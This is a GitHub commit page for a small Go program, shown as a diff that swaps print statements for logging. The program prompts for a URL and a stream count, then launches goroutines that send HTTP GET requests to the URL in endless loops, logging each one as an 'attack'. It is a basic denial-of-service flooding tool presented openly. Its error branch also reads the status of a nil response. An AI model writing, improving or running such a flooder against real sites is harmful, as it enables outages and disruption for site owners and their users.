Skip to content

Commit

Permalink
added logger
Browse files Browse the repository at this point in the history
  • Loading branch information
vitalyliber committed Jan 26, 2018
1 parent 585b9c5 commit 425c84c
Showing 1 changed file with 10 additions and 14 deletions.
24 changes: 10 additions & 14 deletions main.go
Original file line number Diff line number Diff line change
Expand Up @@ -3,8 +3,8 @@ package main
import (
"fmt"
"net/http"
//"io/ioutil"
"bufio"
"log"
"os"
"strconv"
"strings"
Expand All @@ -21,15 +21,13 @@ func main() {
fmt.Print("Enter number of streams: ")
streamsString, _ := reader.ReadString('\n')
streamsString = strings.TrimSuffix(streamsString, "\n")
fmt.Printf(streamsString)
streams, _ := strconv.Atoi(streamsString)
fmt.Println(streams)
log.Println("Streams:", streams)

sum := 1
for ; sum < streams; {
for sum < streams {
go storm(urlString)
fmt.Printf("Goroutine: ")
fmt.Println(sum)
log.Println("Goroutine was created with number:", sum)
sum += 1
}

Expand All @@ -38,18 +36,16 @@ func main() {

func storm(url string) {
for {
fmt.Printf("Start a storm\n")
fmt.Printf(url)
log.Println("Start attack to url:", url)
resp, err := http.Get(url)
if err != nil {
log.Println("Got error code from site:", resp.Status)
return
} else {
log.Println("Success attack:", resp.Status)
}
defer resp.Body.Close()
//defer resp.Body.Close()
//bodyBytes, err := ioutil.ReadAll(resp.Body)
//bodyString := string(bodyBytes)
//fmt.Printf(bodyString)
counter += 1
fmt.Println(counter)
log.Println("Number of attack:", counter)
}
}
}

0 comments on commit 425c84c

Please sign in to comment.